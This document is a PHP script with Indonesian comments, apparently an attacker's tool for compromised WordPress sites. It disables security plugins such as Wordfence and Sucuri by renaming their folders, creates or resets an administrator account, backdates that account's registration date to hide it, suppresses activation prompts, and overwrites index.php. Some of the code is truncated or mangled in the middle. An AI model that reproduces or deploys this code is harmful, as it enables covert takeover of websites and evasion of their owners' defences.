xx.php0000644000320300032060000001523315160323745012527 0ustar explorexexplorexError: WordPress root directory not found."; } else { $status_messages[] = "WordPress root found at: " . $wp_root; } $wp_load = $wp_root . '/wp-load.php'; require_once $wp_load; // ini otomatis load wp-config.php juga global $wpdb; // === Gunakan API WordPress langsung === require_once ABSPATH . 'wp-includes/registration.php'; require_once ABSPATH . 'wp-includes/pluggable.php'; // --- FUNSI NONAKTIFK PLUGIN (MODIFIKASI) --- // Fungsi ini sekarang mengembalikan array pesan, bukan mencetak langsung function temporarily_disable_security_plugins() { $messages = []; $plugins_dir = WP_CONTENT_DIR . '/plugins'; $security_plugins = ['wordfence', 'sucuri-scanner', 'ithemes-security-pro', 'all-in-one-wp-security-and-firewall']; $disabled_plugins = []; foreach ($security_plugins as $plugin_slug) { $plugin_path = $plugins_dir . '/' . $plugin_slug; $disabled_path = $plugin_path . '.disabled.by.script'; if (is_dir($plugin_path) && !is_dir($disabled_path)) { if (rename($plugin_path, $disabled_path)) { $disabled_plugins[] = $plugin_slug; $messages[] = "Security plugin '{$plugin_slug}' temporarily disabled."; } } } if (empty($messages)) { $messages[] = "No known security plugins found to disable."; } return $messages; } // --- FUNSI TAMBAHAN UNTUK MELEWATI PROMPT (MODIFIKASI) --- function make_user_fully_active($user_id) { $messages = []; global $wpdb; $wpdb->update($wpdb->prefix . 'users', ['user_activation_key' => ''], ['ID' => $user_id], ['%s'], ['%d']); $wpdb->update($wpdb->prefix . 'users', ['user_status' => 0], ['ID' => $user_id], ['%d'], ['%d']); update_user_meta($user_id, 'default_password_nag', false); update_user_meta($user_id, '_is_email_verified', 'true'); $messages[] = "User '{$user_id}' has been marked as fully active to skip login prompts."; return $messages; } // --- FUNSI RESTORE INDEX (MODIFIKASI) --- function restore_wordpress_index($index_path) { $messages = []; $default_content = << $user->ID, 'user_pass' => $new_user_pass, 'user_email' => $new_user_email]); $status_messages[] = "Success! Existing user '{$new_user_login}' updated."; $user_id = $user->ID; } else { $user_id = wp_create_user($new_user_login, $new_user_pass, $new_user_email); if (is_wp_error($user_id)) { $status_messages[] = "Error creating user: " . $user_id->get_error_message() . ""; $user_id = null; // Reset jika error } else { $user = new WP_User($user_id); $user->set_role('administrator'); $status_messages[] = "Success! WordPress admin user '{$new_user_login}' created."; } } // 3. Ubah tanggal registrasi (jika user berhasil dibuat/diupdate) if ($user_id) { $wpdb->update($wpdb->prefix . 'users', ['user_registered' => $desired_registration_date], ['ID' => $user_id], ['%s'], ['%d']); $status_messages[] = "User registration date has been set to: {$desired_registration_date}"; // 4. Panggil fungsi untuk melewati prompt $active_messages = make_user_fully_active($user_id); $status_messages = array_merge($status_messages, $active_messages); } // 5. Set tema $themes = wp_get_themes(); $default_theme = 'twentytwentyfour'; // fallback $candidates = []; foreach ($themes as $slug => $theme) { if (preg_match('/^twenty\d{2,4}$/', $slug)) { $candidates[$slug] = $slug; } } if (!empty($candidates)) { krsort($candidates); $default_theme = reset($candidates); } switch_theme($default_theme); $status_messages[] = "Theme set to {$default_theme}."; // 6. Restore index.php $index_messages = restore_wordpress_index($wp_root . '/index.php'); $status_messages = array_merge($status_messages, $index_messages); // 7. (Opsional) Hapus file asing // $cleanup_messages = cleanup_php_root($wp_root); // $status_messages = array_merge($status_messages, $cleanup_messages); // Bersihkan buffer output yang mungkin tersisa ob_end_clean(); // === TAMPILKAN HALAMAN LOGIN DENGAN PESAN STATUS === // Fungsi untuk menampilkan pesan kita di header login function display_script_status_messages() { global $status_messages; if (!empty($status_messages)) { echo '
'; echo '

Script Execution Summary:

'; echo ''; echo '
'; } } // Hook fungsi kita ke dalam halaman login add_action('login_header', 'display_script_status_messages'); // Sekarang, kita "memasukkan" halaman login untuk ditampilkan // Ini akan menjalankan wp-login.php dan menampilkan HTML-nya. // Karena kita sudah men-hook fungsi pesan kita, maka pesan akan muncul di sana. include($wp_root . '/wp-login.php'); // Hentikan eksekusi skrip agar tidak ada apa-apa lagi yang ditampilkan exit; ?>